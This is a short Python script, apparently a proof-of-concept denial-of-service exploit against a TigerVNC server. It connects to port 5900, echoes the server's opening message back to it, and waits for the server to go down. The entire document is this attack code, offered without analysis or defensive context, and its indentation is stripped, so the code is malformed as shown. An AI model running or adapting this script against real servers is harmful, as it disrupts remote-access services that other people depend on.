import socket, sys;
def SrvRecv():
global srvmsg;
srvmsg = client.recv( 1024 );
print ( "[<-] Srv: " , srvmsg);
host = "localhost" ;
port = 5900 ;
print ( "[+] Creating socket..." );
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
try :
print ( "[+] Trying to connect with TigerVNC server..." );
client.connect((host,port));
except socket.error:
print ( "[!] Can't connect..." );
client.close()
sys.exit()
print ( "[x] Connected..." );
SrvRecv()
client.send(srvmsg)
print ( )
x = input ( "[x] Don't press anything till the server is down" );
client.close();
|